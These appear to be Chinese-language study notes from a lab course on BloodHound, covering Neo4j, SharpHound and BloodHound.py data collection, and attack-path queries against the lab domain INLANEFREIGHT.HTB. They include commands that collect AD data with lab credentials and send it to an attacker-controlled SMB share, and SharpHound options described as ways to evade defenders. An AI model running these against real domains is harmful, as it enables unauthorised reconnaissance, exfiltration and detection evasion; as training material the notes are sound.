BloodHound设置和安装

BloodHound 使用 Neo4j,这是一个图数据库管理系统,用于存储、管理和查询以图形式表示的数据。它是一个 NoSQL 数据库,使用图数据模型来表示和存储数据,其中节点和边分别表示数据和关系。这使得 Neo4j 能够比传统的关系型数据库更直观、更高效地表示复杂且相互关联的数据结构。

Neo4j 是用 Java 编写的,运行它需要一个 Java 虚拟机 (JVM)。

BloodHound概述

AD访问管理

Active Directory 中的访问管理很复杂,在日常配置中很容易引入漏洞或不良做法。

攻击者和防御者通常难以发现或审计所有用户访问,或这些访问如何相互关联以赋予用户不应存在的权限。

由于攻击面和活动目录环境中产生数据的复杂性和不断演变,并且我们需要一种自动化收集和分析这些数据的方法,@wald0、@harmj0y 和@CptJesus 创建了 BloodHound。

原理

BloodHound 是一个开源工具,攻击者和防御者都使用它来分析活动目录域的安全。该工具从活动目录域收集大量数据。它使用图论来直观地表示对象之间的关系,并识别传统枚举难以或不可能检测到的域攻击路径。自 4.0 版本起,BloodHound 现在也支持 Azure。

BloodHound 将使用的数据是通过 SharpHound 收集器收集的,该收集器可在 PowerShell 和 C# 中使用。我们将在以下部分讨论数据收集。

BloodHound图论与Cypher查询语言

BloodHound 利用图论,图论是用于模拟对象之间成对关系的数学结构。在此上下文中,图由节点(例如 Active Directory 对象如用户、组、计算机等)组成,这些节点通过边(对象之间的关系,如组成员、AdminTo 等)连接。我们将在另一部分进一步讨论节点和边,但让我们通过一个例子来看看 BloodHound 是如何工作的。

该工具使用 Cypher 查询语言来分析关系。Cypher 是 Neo4j 的图查询语言,允许我们从图中检索数据。它就像图 SQL,并受 SQL 启发,因此让我们专注于我们想从图中获取哪些数据(而不是如何获取它)。由于与其他语言的相似性和直观性,它是迄今为止最容易学习的图语言。我们将在本模块的稍后部分更详细地讨论 Cypher 查询。

下面的图表显示了两个节点, AB 。在这个例子中,我们只能从节点 A 到节点 B ,不能反过来。
image.png

这可以模拟 A 作为用户 GraceB 作为组 SQL Admins ,两者之间的线是边,在这种情况下是 MemberOf 。下一个图形显示的是在 BloodHound 中,用户 Grace 是组 SQL Admins 的成员。

image.png

让我们看看节点之间更复杂的关系。下面的图形显示了八个(8)节点和十个(10)边。节点 H 可以到达节点 G ,但没有节点可以直接到达节点 H 。要从节点 A 到达节点 C ,我们可以跳转到节点 G ,移动到节点 F ,然后到节点 C ,但这不是最短路径。BloodHound 的一项功能是寻找最短路径。在这个例子中,从节点 A 到节点 C 的最短路径是通过节点 B 进行一次跳跃。

image.png

收集信息

SharpHound

SharpHound 是 BloodHound 的官方数据收集工具,用 C# 编写,可以在安装了 .NET 框架的 Windows 系统上运行。该工具使用多种技术从活动目录收集数据,包括原生 Windows API 函数和 LDAP 查询。

SharpHound 收集的数据可用于识别活动目录环境中的安全弱点以攻击它或计划进行修复。

基本枚举

默认情况下,如果没有任何选项运行 SharpHound,它将识别运行它的用户所属的域,并执行默认的收集。让我们没有任何选项执行 SharpHound。

1
sharphound.exe

将收集以下内容:

  1. Users and Computers. 用户和计算机。
  2. Active Directory security group membership.
    活动目录安全组成员资格。
  3. Domain trusts. 域信任。
  4. Abusable permissions on AD objects.
    AD 对象上的可滥用权限。
  5. OU tree structure. 组织单位树结构。
  6. Group Policy links. 组策略链接。
  7. The most relevant AD object properties.
    最相关的 AD 对象属性。
  8. Local groups from domain-joined Windows systems and local privileges such as RDP, DCOM, and PSRemote.
    来自域连接的 Windows 系统的本地组以及本地权限,如 RDP、DCOM 和 PSRemote。
  9. User sessions. 用户会话。
  10. All SPN (Service Principal Names).
    所有服务主体名称 (SPN)。

为了获取本地组和会话的信息,SharpHound 将尝试连接到它收集的计算机列表中的每个已加入域的 Windows 计算机。

随机化输出

众所周知,SharpHound 默认会生成不同的 .json 文件,然后将它们保存到一个 zip 文件中。它还会生成一个随机命名的、带有 .bin 扩展名的文件,对应于它执行的查询的缓存。防御团队可以利用这些模式来检测 bloodhound。一种尝试隐藏这些痕迹的方法是结合一些这些选项:

Option 选项 Description 描述
--memcache Keep cache in memory and don’t write to disk.
将缓存保留在内存中,不写入磁盘。
--randomfilenames Generate random filenames for output, including the zip file.
为输出生成随机文件名,包括 zip 文件。
--outputprefix String to prepend to output file names.
输出文件名前缀的字符串。
--outputdirectory Directory to output file too.
输出文件目录 too。
--zipfilename Filename for the zip.
zip 文件名。
--zippassword Password protects the zip with the specified password.
使用指定的密码保护压缩文件。

BloodHpund.py

SharpHound 没有官方的 Linux 数据收集工具。然而,Dirk-jan Mollema 创建了 BloodHound.py,这是一个基于 Impacket 的 Python 收集器,用于 BloodHound,使我们能够从 Linux 收集 Active Directory 信息用于 BloodHound。

使用

要在 Linux 上使用 BloodHound.py,我们需要 --domain--collectionmethod 选项以及认证方法。认证可以是一个用户名和密码、一个 NTLM 哈希、一个 AES 密钥或一个 ccache 文件。BloodHound.py 默认会尝试使用 Kerberos 认证方法,如果失败,则会回退到 NTLM。

另一个关键点是域名解析。如果我们的 DNS 服务器不是域名 DNS 服务器,我们可以使用选项 --nameserver ,这允许我们指定一个替代的名称服务器进行查询。

1
bloodhound-python -d inlanefreight.htb -c DCOnly -u htb-student -p HTBRocks! -ns 10.129.204.207 -k

注意:Kerberos 认证需要主机解析域名 FQDN。这意味着选项 --nameserver 不足以进行 Kerberos 认证,因为我们的主机需要解析 Kerberos 工作所需的 DNS 名称 KDC。如果我们想使用 Kerberos 认证,我们需要将 DNS 服务器设置为目标机器或配置我们主机文件中的 DNS 条目。

传输数据

1
sudo impacket-smbserver share ./ -smb2support -user test -password test

测试:

1
net use \\10.10.14.33\share /user:test test

现在让我们连接到共享文件夹并将 SharpHound 输出保存在那里:

1
SharpHound.exe --memcache --outputdirectory \\10.10.14.33\share\ --zippassword HackTheBox --outputprefix HTB --randomfilenames

结构与数据分析

  1. 一旦上传完成,我们就可以分析数据。如果我们想查看域的信息,我们可以在搜索框中输入 Domain:INLANEFREIGHT.HTB 。这将显示一个带有域名图标。如果你点击该图标,它将显示有关节点(域)的信息,例如用户数量、组、计算机、OU 等。
  2. 现在,我们可以开始分析血猎犬中的信息,寻找通往目标的路。

路径规划

搜索栏中的另一个强大功能是 Pathfinding 。我们可以用它来找到两个给定节点之间的攻击路径。

此路径包含边缘 ForceChangePassword ;假设我们想要避免更改用户的密码。我们可以使用过滤器选项,取消选中 ForceChangePassword ,并搜索不包含此边缘的路径。

节点

Node 节点 Description 描述
Users 用户 代表可以登录网络并访问资源的个人对象。每个用户都有一个唯一的用户名和密码,这允许他们进行身份验证并访问文件、文件夹和打印机等资源。
Groups 组 用于将用户和计算机组织成逻辑集合,然后可以用来为资源分配权限。通过为组分配权限,您可以轻松地一次性管理多个用户对资源的访问。
Computers 计算机 代表连接到网络的设备的对象。每台计算机对象都有一个唯一名称和标识符,允许它在域内进行管理和控制。
Domains 域 网络资源(如用户、组和计算机)的逻辑分组。它允许您以集中方式管理和控制这些资源,提供单一的行政管理点和安全点。
GPOs 组策略对象用于定义和强制执行活动目录域内用户和计算机的一组策略和设置。这些策略可以控制从用户权限到网络配置等各种设置。
OUs 组织单位 组织单元是域内的容器,允许您以更细粒度的方式对资源进行分组和管理。它们可以包含用户、组和计算机,并可用于将管理任务委托给特定个人或组。
Containers 容器 容器类似于组织单元(OU),但用于非管理目的。它们可以用于按组织目的将对象分组,但与组织单元相比,它们没有相同级别的管理控制。

用户

Category 分类 Description 描述
Overview 概述 对象的一般信息。
Node Properties 节点属性 此部分显示节点的默认信息
Extra Properties 附加属性 此部分显示有关节点的其他信息,以及如果您使用了–CollectAllProperties 标志,则从活动目录中获取的所有其他非默认字符串类型属性值。
Group Membership 群组成员 本节显示该对象所属的 Active Directory 安全组的统计数据。
Local Admin Rights 本地管理员权限 显示该对象拥有管理员权限的位置
Execution Rights 执行权 涉及用户、组或计算机在网络上有权执行特定操作或命令的权限和特权。这可能包括 RDP 访问、DCOM 执行、SQL 管理权限等。
Outbound Object Control 出站对象控制 可视化用户、组或计算机在 AD 环境中对其他对象拥有的权限和特权
Inbound Control Rights 入站控制权限 可视化特定 AD 对象(用户、组、域等)对其他对象的权限和特权。

主机

Category 分类 Description 描述
Local Admins 本地管理员 指在特定计算机上获得本地管理员权限的用户、组和计算机。
Inbound Execution Rights
入站执行权限

显示已被授予在特定计算机上执行权限的所有对象(用户、组和计算机)
Outbound Execution Rights
外发执行权限

指特定计算机执行命令或脚本到网络中其他计算机或对象的权限。

群组

ategory 分类 Description 描述
Group Members 成员组 指特定组的用户、组和计算机成员。

域名

Category 分类 Description 描述
Foreign Members 外国成员 属于不同域或林的用户或组,当前正在分析的域或林
Inbound Trusts 入境信托 指代信任关系,其中另一个域或林信任当前域。这意味着来自受信任域的用户和组可以访问当前域的资源,反之亦然。
Outbound Trusts 出向信托 涉及当前域或林信任另一个域的信任关系。这意味着来自当前域的用户和组可以访问受信任域中的资源,反之亦然。

组织单元

Category 分类 Description 描述
Affecting GPOs 影响 GPO 指在特定 OU 或容器中影响的组策略对象(GPO)。
Descendant Objects 子对象 指在 Active Directory(AD)环境中特定 OU 或容器内所有对象。

Edges

BloodHound 使用边来表示 Active Directory (AD) 环境中对象之间的关系。这些关系可以包括用户到用户、用户到组、组到组、用户到计算机以及其他许多关系。每条边代表连接两个对象的一条线,线的方向表示关系的方向。

Edges代表 AD 环境中对象之间的权限、权限和信任关系。这些边创建 AD 环境的图形表示,使红蓝团队人员能够可视化和快速分析对象之间的关系。这有助于识别潜在的安全漏洞,例如具有过多权限或访问敏感服务器的用户。它还可以帮助确定对手可能用来横向移动和提升权限的潜在攻击路径。

List of Edges 边的列表

The following is a list of the edges available for Active Directory in BloodHound:
以下是 BloodHound 中可用于 Active Directory 的边列表:

分析过程

一旦数据被导入到 BloodHound 中,我们就可以从上到下开始进行审查了。首先,让我们在搜索栏中输入 domain:INLANEFREIGHT.HTB ,来进行整体的领域分析吧。

image.png
以这个小型域做例子:
第一步步是查看 Domain Users 组所拥有的权限。这一点非常重要,因为域中的每个用户都会继承该组所拥有的所有权限。这意味着,哪怕是微小的配置错误,都可能对域的安全性造成严重影响。

image.png

该域中的用户同时在域内的两台主机上拥有会话。这些用户直接属于 31 个用户组,同时由于嵌套组的关系,他们还属于另外 45 个用户组。如果我们查看 Local Admin Rights 部分,会发现该数值为 0。这是因为在任意一台机器上, Domain Users 组都不是 Administrators 组的成员。不过,如果我们转到 Outbound Object Control 部分并点击 Transitive Object Control ,就能看到所有由 Domain Users 所控制的对象。

image.png

接下来,我们可以点击 pathfinding 按钮,在上方的输入框中输入 DOMAIN [email protected] ,在下方的输入框中输入 DOMAIN [email protected] ,以此查看是否所有用户都有通往“域管理员”角色的直接路径。该查询没有返回任何结果,这意味着不存在这样的路径。

接下来,我们可以开始运行一些 Pre-Built Analytics Queries 程序,以获取更多有用的信息。

列出所有 Domain Admins 的成员名单是个不错的主意。在这里,我们可以看到该组有 3 个直接成员,还有 4 个间接成员——因为 peter 用户也是嵌套组 ITSecurity 的成员。

image.png

接下来,看看 Find Shortest Paths to Domain Admins 查询的结果。该查询返回了几条路径。我们可以看到,其中有一些路径属于那些不属于“域管理员”组的用户。用户 Gil 对域控制器 DC01 拥有 AddAllowedToAct 权限;用户 Pedro 对容器 Users 拥有 GenericAll 权限。用户 Sarah 能够控制用户 Pedro ;而服务账户 svc_backups 则能够控制那些应用于域控制器的 GPO。

image.png

其他有趣的查询还包括:

Query 查询 Result 结果
Find Principals with DCSync Rights 找出那些能够发动 DCSync 攻击的账户。
Users with Foreign Domain Group Membership 找出属于其他域中各个组的用户。这有助于实施跨域信任攻击。
Groups with Foreign Domain Group Membership 找出那些属于其他领域中某个更大群体的子群体。这样做有助于实施跨域信任攻击。
Map Domain Trusts 查找与当前域的所有信任关系。
Shortest Paths to Unconstrained Delegation Systems 找出通往那些采用“无限制委托”模式的主机的最短路径。
Shortest Paths from Kerberoastable Users 从所有可能成为 Kerberoasting 攻击目标的用户中选择,从而显示出通往“域管理员”角色的最短路径。
Shortest Path from Owned Principals 如果我们右键点击某个节点并选择 Mark user as ownedMark computer as owned ,就可以运行该查询,从而了解从那些被标记为“已拥有”的用户或计算机出发,还能进一步攻击到多远的范围。这对于发动进一步的攻击来说非常有用。
Shortest Paths to Domain Admins from Owned Principals 找到从任何被标记为“已拥有”的用户或计算机到域管理员访问的最短路径。
Shortest Paths to High-Value Targets 这将为我们提供到达 BloodHound 已经认为具有高价值目标的最近路径。它也可以用来找到路径到我们右键点击并选择将 X 标记为高价值的任何对象。